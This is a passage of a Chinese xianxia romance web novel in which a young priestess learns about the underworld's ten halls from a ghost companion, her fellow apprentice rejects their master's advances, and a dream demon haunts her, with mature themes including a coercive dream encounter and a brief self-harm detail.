尹星灯布下阵法保护宫玄烛,追逐着那人跑出了房间,翻身跃上屋檐、月光照射下道袍之上星纹明灭流转,清癯身影恍若一道流光,夜色如墨,那人隐匿在一团雾气里,阴风扑面而来。
尹星灯一抖袍袖,掀起罡风阵阵:“来者何人!居然敢在星辰宫胡作非为!”
那团黑雾中传出一个声音,不男不女,一会儿苍老一会儿又稚嫩,诡异至极。
“尹仙师,离开星辰宫这么远,您就不担心自己的徒弟吗?”
“玄烛!”
“哈哈哈哈哈哈!”黑雾爆发出一阵刺耳的狂笑,顷刻间随风而散。
尹星灯连忙往回赶,推开房门就看见宫玄烛脸色苍白、满头大汗,脸上满是恐惧与挣扎,嘴里梦呓不断。
“滚开……滚啊!放开我……”
“玄烛!快醒醒!”
尹星灯半抱着宫玄烛,握紧她的手,白莹莹的光芒笼罩在二人身上,宫玄烛终于睁开了眼睛,定神看着眼前的人突然泪如雨下,翻身起来双手捂住了脸,尹星灯拍了拍她汗湿一片的后背,轻声安抚道:“没事了没事了……”
看着素日无法无天的徒弟被吓成这模样,有如惊弓之鸟,说不心疼是假的,尹星灯一直半抱着她未曾松手。
宫玄烛到底脸皮厚,安静下来后咬牙切齿道:“要是让我抓住,我一定亲手废了他!”
尹星灯点点头,想了想,轻声道:“商羊再借你玩几天,不过要记得喂它甘露。”
宫玄烛转悲为喜,抬眸看向他:“人家忙得脚不沾地、日理万机,哪有时间采集清晨的花露……”
尹星灯面露难色,好久才松口:“那,井水也行。”
宫玄烛管他那个!有的喝就行!
尹星灯见她翻身起来就走,紧忙拦着:“玄烛,商羊上次回来不知怎的掉了好多毛,你一定要记得照顾好它。”
宫玄烛摆摆手踱步出门:“晓得了!我你还不放心?”
回到自己的小院子就发现林夕不怎么理她了,怎么回事?
孩子目含幽怨:“你昨晚为何不回来?”
宫玄烛:“有点事耽搁了。”
林夕转身就走。
宫玄烛急忙上前几步拦住他:“我是有事找师父商量,你这孩子什么回事?犯得着为这个生气?”
林夕扭过头去:“我不是生气……”
宫玄烛往上凑凑,又开始满嘴跑火车:“那不如我带你出去散散心,你看你这脸色苍白的,都赶上白凉粉了……”刚说到这儿忽然惊呼一声,“呀,对不起我忘了一件事,你这形态可不能轻易被太阳晒着,容易化为一缕青烟扶摇直上九万里。”
林夕知她是故意逗闷子,也不给她继续拿自己取乐的机会,转身就往屋里走去,宫玄烛在后面紧随着,忽然想起一件事,语气也严肃起来了:“对了,你是怎么死的?年纪轻轻就变成这副模样,又不去投胎,成天飘着也不是个事啊。”
林夕白了她一眼,兀自坐下,茶壶缓缓飘了起来,斟了两杯茶水,用实际行动告诉她,他才不是什么弱小的魂魄,能够自主控制灵体!
宫玄烛也坐下,从善如流地捻起一只素白茶盏,浅酌一口。庭院外梨花如雪,纷纷摇落,轩室静雅,檀香缭绕,在梦中似乎也有这么一个人与她闲庭对坐,煮酒烹茶。
林夕忽然道:“意外罢了,我不想提。”
宫玄烛也就是随口一问,本以为这么冒昧的问题对方不会搭理,没想到得到的却是这么一个答案。
“那你在阳间还有亲人吗?”
林夕看了她两眼,淡声道:“有吧。”
宫玄烛奇道:“有就有,没有就没有,有吧是个什么鬼?”
林夕脸色一沉:“我有个师尊,但她根本不在意我的死活,你满意了?”
林夕今天很不对劲,似乎格外暴躁,之前明明一口一个“姐姐”叫得蜜里调油,现在却无端给她硬钉子吃,很不对劲啊。
宫玄烛深知林夕这孩子性格古怪,于是不再过多追问,看时间尚早,溜溜达达去了户部一趟,本来打算领了这个月的俸禄之后请林夕吃个饭的,谁知却得知一个惊人的消息。
那小吏闲得发慌,四仰八叉躺在藤椅上,账本盖在脸上假寐,听到宫玄烛的声音打着哈欠道:“少祭司啊,如果是领俸禄的话建议明年此时再来吧。”
宫玄烛半晌才反映过来:“怎么,国库是亏空了嘛?还是陛下又选秀了?”
小吏吓得差点从椅子上滚下来:“哎呦阿弥陀佛!我的天老爷啊,少祭司,您还嫌篓子捅得不够大吗?妄议圣上,这罪过可轻可重,但凡谏议大夫一个看不惯参您一本,您
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脖子上这吃饭的家伙还要不要了?”
宫玄烛一听急得上火:“脑袋的事不提,你先说说我的钱是怎么回事?凭什么扣我月银!”
小吏目光有些鄙夷:“还提呢?您自己做的好事这就抛之脑后了?璇玑殿怎么没的?”
宫玄烛不说话了。
那小吏趾高气昂道:“陛下说了,您的月银要扣到明年中秋。”
宫玄烛义愤填膺:“这哪是扣我钱,分明是要我命!我现在看着是一个人,其实是两人!我养活两个人容易吗?”
小吏听闻此言吓一跳,脚底一滑帽子都歪了,连忙双手扶住,目光呆滞地看向宫玄烛的小腹:“不是,少祭司,什么时候的事啊?陛下的还是国师的?”
这回轮到宫玄烛无语了,但林夕的存在不宜太多人知道,只能缄口不语,噎了半晌道:“一人一半吧。”
“一人一半?”
直到宫玄烛怒气冲冲地离开,瞠目结舌的小吏才扯着嗓子惊呼一声,惊得庭中鸟雀乱飞!
“哎呦少祭司!您慢着点啊!当心动了胎气!别伤了陛下和国师的孩子!您这架势不会是要回去堕胎吧?”
宫玄烛暗气暗憋,再次回到离梦阁已经月上柳梢头,小屋里点了灯,安静异常。
她推门进去,墙角立着一道颀长的身影,如一杆修竹。
林夕听见脚步声几乎同一时间回首,四目相撞的那一刹那,宫玄烛又找到了那种熟悉的感觉,但就在她企图抓住的时候这种感觉转瞬即逝,再看林夕时又觉得他无比的陌生,他的眉眼很是英气,鼻梁高挺,嘴唇不薄不厚,单看他的五官,每一件都很出色,可是纵观全局,林夕此人却又平庸至极,乃至于丢人堆里恐怕就找不到了。
林夕察觉她异样的目光,微微一笑:“少祭司为何看我这么久?”
宫玄烛若无其事,一步步走到林夕身边,林夕也不退后,眼见两人越靠越近,鼻尖几乎碰上了鼻尖,林夕有些紧张地垂眸,不知道该看哪里,背在身后的双手不自觉紧紧交缠……宫玄烛一伸手自他耳侧伸过去摸到书架,抽出了一本书,回身坐在长方条案之后,在灯下翻看冥事录,查看半天,还是不知那位十殿姓甚名谁,是何来历。
林夕微微噙笑,在她身边坐下:“少祭司想了解冥界的事情为何舍近求远?”
宫玄烛看向他,微微挑眉,卸下了头帘搁在一边,林夕却顺手拿起替她挂着了旁边的衣架上,修长的手指穿插过头帘上一串串流苏,一条条理顺,那动作仿佛他已经做过无数次了,淡笑道:“书籍所记载的事情怎能跟得上世事变迁,况且冥界自来凶险万分,书者所写大多杜撰之言,不可轻信,少祭司想知道什么不若问我,我定知无不言言无不尽,如何?”
宫玄烛点点头,当真就开始问了,林夕整理好她的佩饰也坐了下来。
宫玄烛道:“冥界主殿几何?各自所司何事?”
林夕果然是毫不隐藏,宫玄烛越听眉头皱得越紧,不是因为林夕说的东西有误,反而是太真实太细致了,不由得宫玄烛不起疑,林夕此人绝对不是什么小角色。
12. 科普一下冥界
只听林夕侃侃而谈道:“冥界共分十殿殿君,一一列举没有必要,只拿最重要的四殿来说,四殿凌云殿,主殿孽镜少典悲醒,专掌神罚,顾名思义,上清境一些神仙或者修真界的修士犯罪,都是押送凌云殿处罚。这位孽镜少典也有一段有趣的故事,据说他曾经与青帝之女画干戈定亲,彼时悲醒还不是凌云殿主殿,而是洛都鲛人族王子,两界交好无可厚非,只是这画干戈似乎志不在此,无意之间闯入三生殿,在三生石前得知自己与悲醒乃是天命姻缘,她偏不信邪,挥剑斩情丝反噬到了自己,堕落尘寰历劫,那悲醒自然放心不下,毅然随佳人而去。画干戈剑斩情丝在前,在凡间悲醒与另一人喜结连理,对画干戈冷嘲热讽,甚至纵容妻子对她百般折辱,画干戈历劫三世,世世因为悲醒不得善终,最终耗尽魂力,身陨道消,悲醒再次回归上清境就成为了新任的孽镜少典。”
宫玄烛听了这段故事,蛾眉轻轻蹙起,心里不知是何滋味,道心竟然因此微微动摇,连忙收敛心神,轻叹道:“痴心成孽,镜花水月,此为孽镜,不知这悲醒作何感想。”
林夕笑道:“再说七殿,也就是樱都鬼域之主,乃前任冥主慕容烈嫡子,殷溯川。七殿主管人世生杀大权。”
宫玄烛追问:“慕容烈之子?”
林夕点点头:“不错,慕容烈生前是西蔷国一位将军,殷溯川也是他最得意的儿子,琅嬛征讨西蔷时,慕容烈战死,殷溯川九死一生活了下来,而且遇到了一名女子,乃是隐世门派的仙姝。”
宫玄烛:“我只知十九年前槐荫镇一战,梵净山缥缈峰主竭力阻止鬼门大开,身死魂散才算是封印了这樱都之主,其子殷溯川既然成为了七殿殿主,那么应当是含恨而终,与你提到的这位仙子不知有何渊源?”
林夕笑道:“自然有关系,殷溯川垂死之际为此人所救,自然感激万分,况且那女子姿容绝代、俊美稀世,殷溯川岂有不思慕之心?此女也是仙子尘心,于是金鸾配玉鸥,佳偶天成。”
林夕说到这里忽然顿住,宫玄烛两指轻叩桌案,似笑非笑:“自古以来,修道之人远离人间七情六欲,初入门者甚至要避开异性,男女不同席,就是怕坏了根基,移了心性,这位仙子能于千军万马中救出殷溯川,想必功力不浅,既然如此,私以为其道心亦坚,却在短短数月与他人山盟海誓,很是矛盾。”
林夕轻揽衣袖为她续茶,静室之中只闻流水潺潺,他却不接上文,似是无意间问道:“此仙临凡乱心,少祭司何如?”
宫玄烛接过他手中茶盏,目光虽然定在林夕脸上,手指却精准地捏住了玲珑瓷盏的空隙,连对方的指甲都没有触及:“烛不过庸庸碌碌一俗人耳,上不能安世济民下不能建功立业,无德无才,尸位素餐,混于市井之间,自然不免尘心俗病,素日邪思妄念蠢蠢欲动,不过是教化使然,尚且克制得住罢了。”
林夕却是但笑不语,半晌才道:“我看祭司,却是万花丛中过、片叶不沾身。”
宫玄烛:“哪里哪里,人生如戏,全靠演技,身在官场,人前总得扮演好高风亮节的模样,才不至于落人话柄。适才说到那殷溯川襄王会神女,何不接着讲了?留个扣子我今晚定然是睡不着觉的。”
林夕只顾看着她,烛光下一双星眸里满是狡黠:“少祭司心中应当已经猜中了八九分。”
宫玄烛:“我想知道,这仙子姓甚名谁?师承何人?”
林夕眨眨眼睛:“连故事都是我杜撰出来的,这仙子的姓名我一时还真没想好。”
宫玄烛套不出话,心下却也明白了一点,林夕似乎有些忌惮这位七殿,关于他的事并不愿意多说,于是又顺口搭音:“那接下来呢?故事讲一半可太招人恨了。”
林夕莞尔,果真又继续讲了下去:“后来就是棒打鸳鸯的桥段,此二人私定终身触犯门规,仙子之师大怒要处死殷溯川,仙子私自放走了殷溯川,后来不堪师父言语羞辱,挥剑自刎,事情就是这样。”
林夕耸耸肩示意故事讲完了,简直是漏洞百出,宫玄烛都懒得理他,想催促他接着往下讲,却不想再让这小子得意,佯装打哈欠:“好累好困,你这睡前故事催眠的效果还真不赖。”
林夕果然有些起急:“再听听嘛,下面的更精彩,不好听管赔。”
宫玄烛本来起身欲走,听了这话复又坐了下来:“真的?你能赔偿什么?”
对方一指自己,一脸坦诚:“先前大人不是说,贪图美色吗?小的虽然容貌平庸,但身世清白,大人可以采阴补阳,于修为大有裨益。”
我呸!不要脸这劲跟谁学的!
林夕见宫玄烛一脸吃了苍蝇的表情,露出了得逞的笑意,在此人身边吃瘪多年,终于也算是报复了一回,心满意足之余又有些感慨,接着道:“这九殿司掌离恨城,人间风流孽债都由他处理,而此人也算是个性情中人,生前为情所困,死后仍然不忘旧情,经年与一鬼新娘相伴……”说到这里又是一顿,转而看向宫玄烛:“少祭司以为如何呢?”
这说的应当就是沐灵,倒是跟她所知的如出一辙,宫玄烛点点头,笑而不语,顿了半晌才道:“不知这位十殿君又当如何?”
林夕连连摇头摆手:“这十殿么,生前混迹勾栏瓦舍,拈花惹草,死后更是荒唐无度,审案时见了有姿色的女鬼也是来者不拒,是个不折不扣的花中魔鬼、色里魔王,林夕不便多说,实在有污清听。”
宫玄烛听了这么几句有些狐疑:“既然人品如此低劣不堪,如何能坐枉死城考弊司主殿冥君?”
林夕道:“少祭司有所不知,这魏何惜乃是慕容烈次子,慕容烈有心提拔,何愁不前程似锦。”
宫玄烛却轻轻摇头,心里默念着这个名字,脑子里浮现出那张瑰丽妖冶、风月无边的脸,耳畔仿佛还残存着那冰冷的气息。
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本君不贪财,只好色……
一阵穿堂风吹过,宫玄烛打了个激灵,心神微动之下,眸光潋滟、面如桃花,在灯下更添风情万种。
林夕不知何时走过去轻轻合上窗,又坐下,复斟了一盏茶:“少祭司还想知道些什么?”
宫玄烛定了定神,问道:“凡入主冥界当职,生前必厄运缠身、不得善终,我想知道,魏何惜是怎么,故去的。”
宫玄烛也不知为何,对这十殿似乎并不讨厌,换了一个比较委婉的词打听他的死因。
林夕的眸子在烛光下冷得如同两点星子,泛着幽幽的寒光,嗓音也是冷的,虽然面无表情,但还是带着一丝笑意道:“他嘛,去了一个偏僻古怪的邪村,毛头小儿不知人心险恶,企图以一己之力蚍蜉撼树,结果可想而知,被众村民抓起来砍了脑袋,事情大概就是这样。”
宫玄烛心下微微一颤,万万没想到,魏何惜居然是这么死的,如此草率……喃喃自语道:“邪村……那想必他被处死之前,定是受了许多非人的折磨……”
“怎么,少祭司同情他?”
对面的林夕单手支着脑袋,打了个哈欠搭话,似乎有些困倦。
宫玄烛摇摇头:“冥君大概是不需要我的同情的,我只是在想一个问题……林夕,你究竟是谁?”
她目光如炬,紧紧盯着对面那张脸,那张她下一秒就会忘记具体长相的脸。
林夕微微噙笑,苍白的脸在惨淡的烛光下如同海市蜃楼,他近乎透明的嘴唇轻轻一动:“我是林夕啊,你给我取的名字,自己怎么忘了?我很喜欢这个名字,它很适合我,也很适合你。”
宫玄烛发现自己似乎随手捡了个极度危险的东西回来,现在要扔已经来不及了。
……
你喜欢做梦吗?你愿意沉溺在梦的世界里吗?你如何知道,你所熟悉的现实不是梦境?你知道自己究竟是谁吗?
林瑶自上次从冥界回来后,夜里噩梦连连,每次醒来都是满头大汗,一颗心仿佛要蹦出嗓子眼了。
月挂中天,沙漏定格在亥时末,她忽然惊坐起来,大口大口呼吸着新鲜空气,浑身被冷汗浇透,单薄的寝衣几乎贴在皮肤上,整个人仿佛刚从水里打捞出来。
窗外一缕幽冷的月光投入屋子里,白色的纱帘如同女鬼的衣裙轻轻飘荡,沙漏里最后一缕细沙流尽。
子时了。林瑶刚这样想着,突兀的敲门声忽然响起,惊得她浑身汗毛又竖了起来,几乎僵在了床榻上,想到梦中恐怖的场景,声音发颤地朝门外问:“谁?”
“瑶儿,是我。”
林瑶这才松了口气,简单整理了一下头发,披上外衣打开了门,月色之下站立一人,白发如霜、衣冠楚楚,也不知半夜叩徒弟的门所为何事。
尹星灯大步流星就往她的屋子里走,林瑶自然也不敢拦着,微微侧身让开路来,随后点亮了屋里的灯。
13. 我百合,你信吗
“瑶儿,坐,为师有话问你们。”
林瑶左右看看,不知道们在哪儿……
答案很快就揭晓了,门外又晃进一人来,哈欠连天嘴里骂骂咧咧:“老登你有毛病啊,我才刚合上眼啊,占用别人睡觉的时间等于谋财害命!我猝死了你负责吗?”
鉴于宫玄烛已经替自己骂出来了,林瑶就不好再火上浇油,只能劝道:“师妹请坐,你鲜少来我这屋子里,想吃点什么吗?”
宫玄烛一听这个精神了,连忙倒茶漱口:“爆炒鱿鱼筒、香酥虾丸、五香小豆干……加麻加辣!”
旁边尹星灯听她说话直皱眉,最后看向林瑶时又和颜悦色:“不用这么麻烦,准备点上次哪个什么来着,让我想想……算了,想不起来了,总之是瑶儿拿手的点心就行。”
合着你们上我屋里吃宵夜来了……林瑶微笑点头应下,出门叫人去八仙楼照单全买,她自己在门口晃悠了一圈接过食盒回来了,宫玄烛尝了两口首先发现了不对劲,筷子一撂:“大师姐,您这手艺在八仙楼培训过是怎么着?”
林瑶从旁边拿了瓶盐过来,满满洒在了鱿鱼卷上:“那你再尝尝呢?”
眼看林瑶要对豆干下手,宫玄烛连忙求饶:“我错了我错了,好姐姐,饶了这五香豆干吧。”
尹星灯没有宫玄烛那么好的记性,也尝不出来手里的糕点是八仙楼的招牌,点点头微笑道:“瑶儿的手艺越来越好了,今日找你们是因为……因为什么来着……”
二徒再次绝倒。
尹星灯终于想了起来,一脸严肃道:“因为你们自打从冥界回来,都噩梦缠身,特别是玄烛,你以前没有这种情况,所以你们相互听一下对方的经历,看看是否有相似之处,为师好替你们想想办法。”
尹星灯说完看向了林瑶,笑意温煦:“瑶儿先说吧,因为上次你还没有告诉为师。”
林瑶眨眨眼睛:“哪有,明明告诉您了呀,您再仔细想想。”
林瑶还想糊弄两句,尹星灯却脸色一沉:“为师记得很清楚,你的确没有告诉我。”
这是写备忘录上了是吗?
林瑶没有办法,只好开口讲述:“上次闯入冥界后,我一直在彼岸花海里兜圈子,许久之后才找到出路,顺着路牌指引的方向去了樱都,听见城里有一处十分喧哗,顺着声音过去发现那里重兵把守,鬼卒们说起什么红衣女,受了重伤,我以为是陌菱,心里一着急就闯了进去,后来一路被鬼卒们追到了悬崖边,下面热浪灼人,似乎是翻腾的岩浆,我被追兵打下了悬崖,以为自己要被烧死了,可是并没有直接落在火海里,而是掉在了白骨堆上,我爬起来之后看到了一个很奇怪的东西。”
尹星灯听得一脸后怕,忙问道:“什么东西?”
林瑶的瞳孔慢慢放大,仿佛还能看见那个恐怖的东西:“骷髅,一架完整的金骷髅,它朝我走了过来,很快就到了我眼前,我转身就想跑,它从身后死死勒住了我的脖子,就在我快要窒息的时候,我看到了眼前的火海,既然都要死了不如拉着它一起死,我想带着它一起滚入岩浆里,那骷髅似乎感觉到了,主动放开了我,可是我只要试图远离它,它就会重新追上来勒住我的脖子……”
宫玄烛瞪大了眼睛:“不是,纯金的啊,你倒是给它运上来,胳膊腿儿一卸掉,拿锯子锯成小金条,你三我七,你看怎么样?师父你瞪我干什么,这不还有剩下的边角料嘛,你拿簸箕收一收,够你安度晚年了。”
尹星灯抬手在宫玄烛额头上弹了一指,疼得后者龇牙咧嘴:“穷疯了?红莲地狱的主意你都敢打,胆子倒是不小。”
说起这个宫玄烛就来气,尖声道:“我月俸都扣到明年了!再这样下去我真的要跟鬼抢钱了。”
尹星灯对宫玄烛道:“你先回去吧,为师有话想单独对你师姐说。”
宫玄烛的眼睛瞬间亮了,故意阴阳怪气:“哎呦,什么话啊还得单独说,让我听听怎么呢?”
尹星灯随手丢了一个荷包过去,宫玄烛一把接住,好家伙,沉甸甸的,于是开开心心地离去了,还懂事地把门带上了。
尹星灯的目光重新落在林瑶身上,欲言又止,最后轻叹道:“瑶儿,为师有话想对你说。”
林瑶浑身不自在,广袖之下的手紧了又紧,忽然站了起来,目光不敢直视他:“师父,弟子有些累了,有什么话明天弟子再领教。”
“不差这一会儿,”他站起来缓缓踱步到林瑶跟前,灼热的目光几欲将她点燃:“瑶儿,逃避是没有用的,这道理为师教过你多少次了?”
林瑶垂着眸,不停捻弄着左腕上一串红珊瑚珠子,猝不及防尹星灯抓住了她那只局促不安的手,语气依旧温柔:“为师跟你说话呢,可是又走神了?”
林瑶迅速别开了脸,倒退两步,这么大反应令尹星灯面上有些尴尬,自嘲般笑笑,松开手,不自然地甩甩袍袖,半晌轻叹道:“瑶儿,当初是你追着缠着为师,如今却又对我不理不睬,这是何道理?”
林瑶都懒得理他,低着头一言不发,看着自己的鞋尖神游天外。
尹星灯继续痛心疾首,控诉着林瑶的负心薄幸。
“瑶儿当初与为师食则同席、寝则同榻,何等的亲密无间,谁知瑶儿长大了,竟然如此薄情寡义,莫非是心里有了旁人?”
林瑶实在装不了哑巴了,这才弱声辩解道:“我当时也不知道你喜欢男扮女装啊……”
这回轮到尹星灯急了:“跟你说多少次了,那是被功法反噬,为师没有穿女装的奇怪癖好!”
见林瑶又不言语了,尹星灯窥她脸色,又低声哄劝道:“瑶儿?你小时候说……喜欢为师的话,还作数吗?”
林瑶一张俏脸登时通红,如同霞映澄塘,支支吾吾道:“没有的事,我不知道……”
尹星灯凑近她,低笑道:“撒谎可不是好孩子,要为师把当时的留音石拿出来吗?”
林瑶被逼得走投无路,有心现在就晕过去,最后磕磕绊绊地转移话题:“师父,您当时那个女相究竟是怎么回事?”
尹星灯微微蹙眉:“为师本来不想对任何人提起,不过既然是瑶儿问了,告诉你也无妨,为师所修逍遥道,渡劫时遇到了一条九尾妖狐捣乱,失败了不说还被天道罚了,惩罚就是失去仙力外加变成女身三个月,后来的事,瑶儿也都知道了。”
林瑶暗忖:看来他转化女相也是个意外,既然如此倒也好办。
尹星灯看着低眸沉思的林瑶,广袖下的双手蠢蠢欲动,想将她揽入怀中又不敢,只好温声劝道:“瑶儿,我知道你更喜欢为师女相的样子,可是无论如何你要相信为师,我对你的心意一直未变——”
林瑶越听越别扭,急忙打断:“师父你说的
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没错,我的确喜欢您女相的样子,因为我有磨镜之好,喜欢女子,此生也只会与心仪的女子白头偕老,所以断断不会接受别的什么人。”
尹星灯瞠目结舌,良久才反应过来林瑶在说什么,原本一直挂在脸上的笑意登时凝固:“你说什么!”
他死死攥着林瑶的手腕,清俊的面容被盛怒扯得有几分扭曲,胸膛剧烈起伏着,嘴角扯出一抹笑意:“瑶儿,以后不要开这样的玩笑了,喜欢女子?真是滑天下之大稽,为师闻所未闻。”
林瑶举手打断:“忘川风华录有载,青帝之女画干戈与初代洛神曲淋漓乃是莫逆之交,画干戈妙笔丹青、泛舟山水之间,曲淋漓当初只是一尾锦鲤,懵懂无知被渔夫打捞起,生死攸关之际为画干戈所救——”
“闭嘴!那些不过是世人杜撰,画干戈早就魂飞魄散了,曲淋漓也死了……瑶儿,”尹星灯眸中染上了几丝血色,攥着林瑶的手越发用力,肩膀在轻轻颤抖,阖上眼似乎在压制着满腔怒火:“瑶儿,你说,不要撒谎。”
林瑶欲言又止,心里想编出一个人的名字来,尹星灯是不是就会知难而退了,刚想到这里,肩膀忽然被收紧,一双大手紧紧将她嵌入满是清雅旃檀的怀抱里,清润的嗓音在她头顶微微发颤:“说话啊,你要逼疯我吗?”
门外哐当一声,一个人影闪过。
“谁!”
尹星灯一分神林瑶急忙追了出去,发现廊檐尽头一角红衣迅速消失,顿时心都凉了半截。
“菱儿……”
陌菱坐在水池边,清消的背影对着她,微笑道:“追出来干什么?看我的笑话吗?”
林瑶嗓音干涩,上前半步:“菱儿,你为什么一定要这样对我说话呢?”
陌菱冷笑两声:“你避之不及的东西,却是我求而不得的……真是讽刺至极,有时候我在想,你是不是在欲擒故纵呢?你既然要拒绝他,为什么不彻底消失在他的世界里?你留在他身边,只会让他觉得自己还有机会。”
林瑶唇舌发干,心下钝痛:“你让我去哪里啊?”
陌菱:“哪里都好,林瑶,只要你真心实意想走,他找不到你的,还是说你舍不得他?”
林瑶的手默默攥紧,哀痛地咬了咬薄唇,陌菱的话仿佛一根尖刺扎进了她心口。
“我的世界里不止有师父,还有你和玄烛,我不想余生都飘零孤寂地活着……”
陌菱反问道:“那样有什么不好?”
风轻轻拂过胭脂色的衣袖,林瑶看见陌菱雪白的皓腕上添了几道新伤,仿佛是被什么利器划破的,又细又长,一道紧挨着一道,仿佛缠在她腕上的一道道红线,又仿佛是什么刻骨铭心的记号。
林瑶黯然闭上了双眼:“好,我走就是,菱儿,你要照顾好自己,别再……”
后半句话卡在了嗓子眼里,说不出来也咽不下去。
陌菱半回过头,雪玉般的容颜被低垂的鬓发半掩着,饱满的红唇勾起满足的笑容,她笑起来是极为好看的,但是眉梢眼角扬起一丝微不可察的癫狂:“你和我,注定只能留一个,林瑶,别以为你的小恩小惠能打动我,在我看来,不过是你作为胜利者对我的施舍罢了,虚伪至极,我真正想要的,是你能永远从这个世界上消失。”
“林瑶,在这个世上,我最厌最恨的人就是你,你懂吗?”
……
14. 这桃花,不要也罢!
宫玄烛红云满面,大汗淋漓,心跳得扑通扑通。
怎么回事?鬼压床?
那个人没有实状,却能清晰感觉到他是一个成年男子,甚至凑近她时能感觉到垂落的柔软发丝蹭在脸上。
他轻盈时仿佛山间的一片云雾,压在她身上却让她喘不过气来。
躺在床上的宫玄烛,双目紧闭,不断梦呓着,额头沁出一层薄汗。
那人俯身凑近,手指轻轻擦拭她额头的汗珠,声音带着蛊惑又极尽温柔,可梦中人的的确确又是没有声音的,宫玄烛不知道是不是自己的幻觉。
别怕,我会一直陪着你的。
灵蛇般的十指探入她指间的空隙,牢牢锁住,陷入柔软的锦被里抵死缠绵,宫玄烛想喊一嗓子,嘴唇已经被冰冷的唇齿堵住了,寒冷的气息如同冬日的风雪悉数灌入她嘴里,那“人”既霸道又柔情,眼泪一滴一滴砸在她脸上,惹人怜爱,可是温柔小意了没一会儿就开始不规矩,一只手摸入她领口。
滚!
宫玄烛发不出声音,心中的怒火如同山崩海啸,这么一“喊”当真有效,宫玄烛感觉到压在自己身上的东西似乎散去了,朦朦胧胧间看到了自己所处的房间,但是,她心里又是一紧,这个视角不对!她仿佛人在云端,能看到整个房间的布局,却看不到隐匿在黑暗中的邪祟。
她根本还没有醒!而是陷入了梦中梦,这只魇是个硬茬!
宫玄烛强行催动功力,双手掐莲花诀护在胸前,默念心经,念到“色不异空空不异色”时发生变化了,那人一把抱起床上的她,疾步向外面走去,宫玄烛发不出声音,也睁不开眼睛,挣扎了两下,他抱得更紧了,仿佛不是在路上行走,而是在云雾里。
这本身就很矛盾,她睁不开眼睛,却又能“看到”周围的事物,要么是自己的想象,要么是魇刻意植入她脑海里的画面。
仿佛在不停地下坠,陷落,那是一座奢华的宫殿,满目都是艳丽的红色,纱幔飘扬,软烟袅娜,魇将她按在一张大床,再次欺身压下,贴着她的脸缠绵悱侧地亲吻舔舐。
我等这一天,等了好久……
你叫我什么?
宫玄烛恍惚听到了一个字眼,她觉得那个词很是关键,抓住它是破开梦中梦的关键。
你想杀了我?只这样就受不了了,比起你对我做的那些事,这只是刚开始,好好补偿我……
梦境中一切都那么真实,她能感觉到魇俯身轻吻她的脸颊,心中满是贪婪。
宫玄烛咬住自己的嘴唇,用力挣扎着,奋力滚下了床榻,借着这一摔,仿佛摔出了重重迷雾,整个人被高高抛起,随后在云端落下,不停地坠落,最后扑通一下落入了水中,心脏仿佛被一只拳头紧紧攫住,她屏住呼吸,快要喘不上气来了,近乎窒息的时候,一个冰冷的怀抱将她包裹,唇齿相贴渡给她一丝气息,和她一同在水中坠向梦境更深处。
终于接触到了空气,宫玄烛还没喘息两下,再次被冰冷的唇掠去全部呼吸,那不规矩的手在她腰间放肆游走,她只能闭着眼睛被迫承受。
这一吻炽热而缠绵,良久才松开,魇冰冷的手指描摹她眉眼的轮廓,声音低沉含笑。
这一切不过是梦,你又何必挣扎?
耳边一个声音不停地诱哄着,仿佛能听到他低沉沙哑的嗓音,可他又是没有声音的,很是奇异。
他轻捻着她的指尖,俯身贴近她耳畔,冰冷的呼吸惹得她一阵颤栗。
在梦里就不要这般矜持了。
衣衫被他层层剥离,双手在她白皙的皮肤上不停摩挲,仿佛在描摹一张漂亮的画……后者只能发出断断续续的低吟:
别……
他低笑一声,并不打算停下。
梦境中一切由心而生,只要你不醒,这梦便会一直续下去,你知道的……我想要的从来都不会罢手!
抵死缠绵,如同狂风暴雨,有时疼得头皮炸裂,有时又温柔地让人沦陷,反反复复,永无止境,实在是受不了,只能咬他。
他眉头轻挑,被她咬到的地方竟泛起了真实的痛意,心中不禁疑惑,这梦境似乎有些过于真实了……真是有意思。
整个人仿佛被撕裂了,也如同被抛到岸上垂死挣扎的鱼,眼泪止不住落下。
魇的动作微顿,俯身轻吻她的眼角,将泪珠吻去。
你是我的,生生世世都是。
带着蛊惑,梦境里的一切愈发真实……
宫玄烛再次清醒过来,已经日上三竿,殿外的侍女问她何时起身,答应了一句,发现自己的嗓音沙哑无比。
她原本以为自己换个床就不会陷入梦魇,谁知道这境况却越发严重。
素手捂住绯红的脸颊,被梦境冲击得一时难以接受,不觉叹了口气:“怎么又做这种梦了……”
这个念头一起,一大车有声有色的精彩画面争先恐后地涌入了脑海,随后道心大动,如同大厦将倾……宫玄烛连滚带爬地跌下床,狼狈至极。
烦闷,无比的烦闷!
不痛快的她打算去给别人找点不痛快,骑着商羊没多久出了玄都,眼前出现一座城池,鸢歌。
鸢歌城芙蕖观乃是四大派之一,名震天下,此观由玄明子、林渡等人坐镇,时下新出茅庐、风头正盛的裴暮雪就是玄明子的关门弟子,芙蕖观乃是人尽皆知的名门正派、历史悠久,供奉东天三清祖师,根基深厚,跟玄都星辰宫抢生意抢得如火如荼,暂且不提……
在熙熙攘攘的人群中瞅见了熟悉的身影。
宫玄烛在卦摊旁坐了下来,虽然心情极其不美丽,但在生意对手面前勉强还是要挤出一丝笑容的:“哟,这不裴道长嘛,日子过得真清闲啊。”
摊主正躺在圈椅上晒太阳,脸上盖着一本易经,随着他起身的动作,易经滑落到他手里,只见此人唇红齿白,书生打扮,折扇在手轻轻晃着,闻言嗤笑道:“不如少祭司,大祸临头还有心思信马由缰。”
宫玄烛心里一惊,随后又笑道:“本祭司好得很。”
她起身欲走,裴暮雪冷嘲热讽道:“那贫道可就恭喜祭司了。”
宫玄烛霍然转身,脸色唰的白了:“恭喜我什么?”
裴暮雪:“恭喜少祭司,喜结良缘。”
宫玄烛攥紧了手,紧紧盯着裴暮雪,他刻薄的唇瓣一张一合,吐出了十分冰冷的字句:“不过少祭司这个夫婿可不是人,有些人命犯桃花,少祭司可能是五行缺德,所以命犯阴桃花。”
宫玄烛忍了好久才没把卦摊给他拆了,虽然这小子气死人不偿命,但他说的话却不无道理,她现在的确是遇到了一桩大麻烦,思来想去,情况跟裴暮雪说的的确吻合。
阴桃花,顾名思义就是入了鬼魂的眼,阴桃花是风流孽鬼的代名词,他们生前往往风流多情,死后亦然,阴桃花也叫桃花煞,男女皆有,以前宫玄烛不是没有遇到过,不过往往是精壮男子或是白净书生被女桃花煞缠上了,日日吸食阳气,不出几天这男人也就一命呜呼了,桃花煞一般会化作貌美的落难女子创造一些看似偶遇的机会,骗一些心术不正之人,都是一些很低的伎俩。
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>男桃花煞,倒是罕见,而且这位自始至终不以真面目示人,宫玄烛也就没有往这方面去想。
